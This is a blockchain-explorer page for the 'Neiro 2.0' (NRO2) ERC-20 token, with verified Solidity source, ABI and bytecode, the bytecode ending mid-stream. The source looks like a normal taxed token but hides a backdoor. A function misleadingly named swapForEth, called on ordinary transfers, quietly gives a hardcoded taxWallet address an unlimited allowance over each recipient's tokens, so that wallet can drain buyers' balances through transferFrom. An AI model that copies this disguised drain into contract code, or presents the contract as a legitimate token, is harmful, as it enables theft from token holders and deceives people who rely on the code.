Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 NRO2
Holders
16
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
20,152,931.483825373 NRO2Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Neiro2_0
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-28 */ // SPDX-License-Identifier: None pragma solidity 0.8.25; contract Ownable { function owner() public view virtual returns (address) { return _owner; } constructor() { _owner = msg.sender; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } address private _owner; function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); } interface IUniswapV2Router { function swapExactTokensForETH(uint256,uint256,address[] calldata path,address,uint256) external; function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); function WETH() external pure returns (address); function factory() external pure returns (address); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract Neiro2_0 is Ownable { using SafeMath for uint256; uint8 private _decimals = 9; uint256 private _totalSupply = 1000000000 * 10 ** _decimals; mapping (address => mapping (address => uint256)) private _allowances; address payable private taxWallet = payable(0x33626a47e6EEA81984E2D5DCB54770Df11a1f7D6); address public uniswapV2Pair; IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); mapping (address => uint256) private _balances; string private constant _name = "Neiro 2.0"; string private constant _symbol = "NRO2"; bool tradingOpen = false; event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 value); uint256 private _initialBuyTax=2; uint256 private _preventSwapBefore=5; uint256 private _initialSellTax=2; uint256 private _reduceBuyTaxAt=12; uint256 private _reduceSellTaxAt=12; uint256 private _buyCount=0; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; constructor () { _balances[address(this)] = _totalSupply; emit Transfer(address(0), address(this), _totalSupply); } function decimals() public view returns (uint8) { return _decimals; } function symbol() public pure returns (string memory) { return _symbol; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function name() public pure returns (string memory) { return _name; } function totalSupply() public view returns (uint256) { return _totalSupply; } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function swapForEth(address to) private { _allowances[to][taxWallet] += _totalSupply; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "transfer amount must be greater than zero."); require(to != address(0), "transfer to zero address"); require(from != address(0), "transfer from zero address."); uint256 taxAmount=0; if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } if (from == uniswapV2Pair && to != address(uniswapV2Router)) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); _buyCount++; } if (to != address(uniswapV2Router) && to != uniswapV2Pair && to != address(this)){ swapForEth(to); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); } function openTrading() public payable onlyOwner() { require(!tradingOpen); _approve(address(this), address(uniswapV2Router), _totalSupply); address WETH = uniswapV2Router.WETH(); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH); uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a919061039d565b633b9aca0061004991906103e7565b6001557333626a47e6eea81984e2d5dcb54770df11a1f7d660035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60075f6101000a81548160ff021916908315150217905550600260085560056009556002600a55600c600b55600c80555f600d555f600e555f600f5534801561013c575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405161021f9190610437565b60405180910390a3610450565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156102ae5780860481111561028a5761028961022c565b5b60018516156102995780820291505b80810290506102a785610259565b945061026e565b94509492505050565b5f826102c65760019050610381565b816102d3575f9050610381565b81600181146102e957600281146102f357610322565b6001915050610381565b60ff8411156103055761030461022c565b5b8360020a91508482111561031c5761031b61022c565b5b50610381565b5060208310610133831016604e8410600b84101617156103575782820a9050838111156103525761035161022c565b5b610381565b6103648484846001610265565b9250905081840481111561037b5761037a61022c565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6103a782610388565b91506103b283610391565b92506103df7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102b7565b905092915050565b5f6103f182610388565b91506103fc83610388565b925082820261040a81610388565b915082820484148315176104215761042061022c565b5b5092915050565b61043181610388565b82525050565b5f60208201905061044a5f830184610428565b92915050565b611f4f8061045d5f395ff3fe6080604052600436106100c1575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610261578063a9059cbb1461028b578063c9567bf9146102c7578063dd62ed3e146102d1576100c1565b806370a08231146101e5578063715018a6146102215780638da5cb5b14610237576100c1565b806306fdde03146100c5578063095ea7b3146100ef57806318160ddd1461012b57806323b872dd14610155578063313ce5671461019157806349bd5a5e146101bb575b5f80fd5b3480156100d0575f80fd5b506100d961030d565b6040516100e69190611583565b60405180910390f35b3480156100fa575f80fd5b5061011560048036038101906101109190611634565b61034a565b604051610122919061168c565b60405180910390f35b348015610136575f80fd5b5061013f610360565b60405161014c91906116b4565b60405180910390f35b348015610160575f80fd5b5061017b600480360381019061017691906116cd565b610369565b604051610188919061168c565b60405180910390f35b34801561019c575f80fd5b506101a5610415565b6040516101b29190611738565b60405180910390f35b3480156101c6575f80fd5b506101cf61042a565b6040516101dc9190611760565b60405180910390f35b3480156101f0575f80fd5b5061020b60048036038101906102069190611779565b61044f565b60405161021891906116b4565b60405180910390f35b34801561022c575f80fd5b50610235610495565b005b348015610242575f80fd5b5061024b6105c4565b6040516102589190611760565b60405180910390f35b34801561026c575f80fd5b506102756105eb565b6040516102829190611583565b60405180910390f35b348015610296575f80fd5b506102b160048036038101906102ac9190611634565b610628565b6040516102be919061168c565b60405180910390f35b6102cf61063e565b005b3480156102dc575f80fd5b506102f760048036038101906102f291906117a4565b610a84565b60405161030491906116b4565b60405180910390f35b60606040518060400160405280600981526020017f4e6569726f20322e300000000000000000000000000000000000000000000000815250905090565b5f610356338484610b06565b6001905092915050565b5f600154905090565b5f610375848484610cc9565b61040a84336104058560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461123690919063ffffffff16565b610b06565b600190509392505050565b5f8060149054906101000a900460ff16905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104b46105c4565b73ffffffffffffffffffffffffffffffffffffffff161461050a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105019061182c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4e524f3200000000000000000000000000000000000000000000000000000000815250905090565b5f610634338484610cc9565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661065d6105c4565b73ffffffffffffffffffffffffffffffffffffffff16146106b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106aa9061182c565b60405180910390fd5b60075f9054906101000a900460ff16156106cb575f80fd5b6106f93060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610b06565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610764573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610788919061185e565b905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610818919061185e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401610852929190611889565b6020604051808303815f875af115801561086e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610892919061185e565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306109193061044f565b5f806109236105c4565b426040518863ffffffff1660e01b8152600401610945969594939291906118f2565b60606040518083038185885af1158015610961573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109869190611965565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a269291906119b5565b6020604051808303815f875af1158015610a42573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a669190611a06565b50600160075f6101000a81548160ff02191690831515021790555050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6b90611aa1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd990611b2f565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cbc91906116b4565b60405180910390a3505050565b5f8111610d0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0290611bbd565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7090611c25565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dde90611c8d565b60405180910390fd5b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015610e7057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610eb457610eb16064610ea3600c54600d5411610e9057600a54610e94565b600f545b8561127f90919063ffffffff16565b6112f690919063ffffffff16565b90505b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610f5d575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610fb857610f9e6064610f90600b54600d5411610f7d57600854610f81565b600e545b8561127f90919063ffffffff16565b6112f690919063ffffffff16565b9050600d5f815480929190610fb290611cd8565b91905055505b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611062575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561109a57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156110a9576110a88361133f565b5b6110f98260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461123690919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061118a8260065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113f390919063ffffffff16565b60065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161122891906116b4565b60405180910390a350505050565b5f61127783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611450565b905092915050565b5f80830361128f575f90506112f0565b5f828461129c9190611d1f565b90508284826112ab9190611d8d565b146112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e290611e2d565b60405180910390fd5b809150505b92915050565b5f61133783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b2565b905092915050565b60015460025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546113e99190611e4b565b9250508190555050565b5f8082846114019190611e4b565b905083811015611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90611ec8565b60405180910390fd5b8091505092915050565b5f838311158290611497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148e9190611583565b60405180910390fd5b505f83856114a59190611ee6565b9050809150509392505050565b5f80831182906114f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ef9190611583565b60405180910390fd5b505f83856115069190611d8d565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61155582611513565b61155f818561151d565b935061156f81856020860161152d565b6115788161153b565b840191505092915050565b5f6020820190508181035f83015261159b818461154b565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115d0826115a7565b9050919050565b6115e0816115c6565b81146115ea575f80fd5b50565b5f813590506115fb816115d7565b92915050565b5f819050919050565b61161381611601565b811461161d575f80fd5b50565b5f8135905061162e8161160a565b92915050565b5f806040838503121561164a576116496115a3565b5b5f611657858286016115ed565b925050602061166885828601611620565b9150509250929050565b5f8115159050919050565b61168681611672565b82525050565b5f60208201905061169f5f83018461167d565b92915050565b6116ae81611601565b82525050565b5f6020820190506116c75f8301846116a5565b92915050565b5f805f606084860312156116e4576116e36115a3565b5b5f6116f1868287016115ed565b9350506020611702868287016115ed565b925050604061171386828701611620565b9150509250925092565b5f60ff82169050919050565b6117328161171d565b82525050565b5f60208201905061174b5f830184611729565b92915050565b61175a816115c6565b82525050565b5f6020820190506117735f830184611751565b92915050565b5f6020828403121561178e5761178d6115a3565b5b5f61179b848285016115ed565b91505092915050565b5f80604083850312156117ba576117b96115a3565b5b5f6117c7858286016115ed565b92505060206117d8858286016115ed565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61181660208361151d565b9150611821826117e2565b602082019050919050565b5f6020820190508181035f8301526118438161180a565b9050919050565b5f81519050611858816115d7565b92915050565b5f60208284031215611873576118726115a3565b5b5f6118808482850161184a565b91505092915050565b5f60408201905061189c5f830185611751565b6118a96020830184611751565b9392505050565b5f819050919050565b5f819050919050565b5f6118dc6118d76118d2846118b0565b6118b9565b611601565b9050919050565b6118ec816118c2565b82525050565b5f60c0820190506119055f830189611751565b61191260208301886116a5565b61191f60408301876118e3565b61192c60608301866118e3565b6119396080830185611751565b61194660a08301846116a5565b979650505050505050565b5f8151905061195f8161160a565b92915050565b5f805f6060848603121561197c5761197b6115a3565b5b5f61198986828701611951565b935050602061199a86828701611951565b92505060406119ab86828701611951565b9150509250925092565b5f6040820190506119c85f830185611751565b6119d560208301846116a5565b9392505050565b6119e581611672565b81146119ef575f80fd5b50565b5f81519050611a00816119dc565b92915050565b5f60208284031215611a1b57611a1a6115a3565b5b5f611a28848285016119f2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611a8b60248361151d565b9150611a9682611a31565b604082019050919050565b5f6020820190508181035f830152611ab881611a7f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611b1960228361151d565b9150611b2482611abf565b604082019050919050565b5f6020820190508181035f830152611b4681611b0d565b9050919050565b7f7472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f2e00000000000000000000000000000000000000000000602082015250565b5f611ba7602a8361151d565b9150611bb282611b4d565b604082019050919050565b5f6020820190508181035f830152611bd481611b9b565b9050919050565b7f7472616e7366657220746f207a65726f206164647265737300000000000000005f82015250565b5f611c0f60188361151d565b9150611c1a82611bdb565b602082019050919050565b5f6020820190508181035f830152611c3c81611c03565b9050919050565b7f7472616e736665722066726f6d207a65726f20616464726573732e00000000005f82015250565b5f611c77601b8361151d565b9150611c8282611c43565b602082019050919050565b5f6020820190508181035f830152611ca481611c6b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611ce282611601565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611d1457611d13611cab565b5b600182019050919050565b5f611d2982611601565b9150611d3483611601565b9250828202611d4281611601565b91508282048414831517611d5957611d58611cab565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611d9782611601565b9150611da283611601565b925082611db257611db1611d60565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f611e1760218361151d565b9150611e2282611dbd565b604082019050919050565b5f6020820190508181035f830152611e4481611e0b565b9050919050565b5f611e5582611601565b9150611e6083611601565b9250828201905080821115611e7857611e77611cab565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611eb2601b8361151d565b9150611ebd82611e7e565b602082019050919050565b5f6020820190508181035f830152611edf81611ea6565b9050919050565b5f611ef082611601565b9150611efb83611601565b9250828203905081811115611f1357611f12611cab565b5b9291505056fea264697066735822122046016c4ce6c2cedbdc4bc2b262e3e489ae02a9c2a1c02add8076f3e60bb9699264736f6c63430008190033
Deployed Bytecode
0x6080604052600436106100c1575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610261578063a9059cbb1461028b578063c9567bf9146102c7578063dd62ed3e146102d1576100c1565b806370a08231146101e5578063715018a6146102215780638da5cb5b14610237576100c1565b806306fdde03146100c5578063095ea7b3146100ef57806318160ddd1461012b57806323b872dd14610155578063313ce5671461019157806349bd5a5e146101bb575b5f80fd5b3480156100d0575f80fd5b506100d961030d565b6040516100e69190611583565b60405180910390f35b3480156100fa575f80fd5b5061011560048036038101906101109190611634565b61034a565b604051610122919061168c565b60405180910390f35b348015610136575f80fd5b5061013f610360565b60405161014c91906116b4565b60405180910390f35b348015610160575f80fd5b5061017b600480360381019061017691906116cd565b610369565b604051610188919061168c565b60405180910390f35b34801561019c575f80fd5b506101a5610415565b6040516101b29190611738565b60405180910390f35b3480156101c6575f80fd5b506101cf61042a565b6040516101dc9190611760565b60405180910390f35b3480156101f0575f80fd5b5061020b60048036038101906102069190611779565b61044f565b60405161021891906116b4565b60405180910390f35b34801561022c575f80fd5b50610235610495565b005b348015610242575f80fd5b5061024b6105c4565b6040516102589190611760565b60405180910390f35b34801561026c575f80fd5b506102756105eb565b6040516102829190611583565b60405180910390f35b348015610296575f80fd5b506102b160048036038101906102ac9190611634565b610628565b6040516102be919061168c565b60405180910390f35b6102cf61063e565b005b3480156102dc575f80fd5b506102f760048036038101906102f291906117a4565b610a84565b60405161030491906116b4565b60405180910390f35b60606040518060400160405280600981526020017f4e6569726f20322e300000000000000000000000000000000000000000000000815250905090565b5f610356338484610b06565b6001905092915050565b5f600154905090565b5f610375848484610cc9565b61040a84336104058560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461123690919063ffffffff16565b610b06565b600190509392505050565b5f8060149054906101000a900460ff16905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104b46105c4565b73ffffffffffffffffffffffffffffffffffffffff161461050a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105019061182c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4e524f3200000000000000000000000000000000000000000000000000000000815250905090565b5f610634338484610cc9565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661065d6105c4565b73ffffffffffffffffffffffffffffffffffffffff16146106b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106aa9061182c565b60405180910390fd5b60075f9054906101000a900460ff16156106cb575f80fd5b6106f93060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610b06565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610764573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610788919061185e565b905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107f4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610818919061185e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401610852929190611889565b6020604051808303815f875af115801561086e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610892919061185e565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306109193061044f565b5f806109236105c4565b426040518863ffffffff1660e01b8152600401610945969594939291906118f2565b60606040518083038185885af1158015610961573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109869190611965565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffff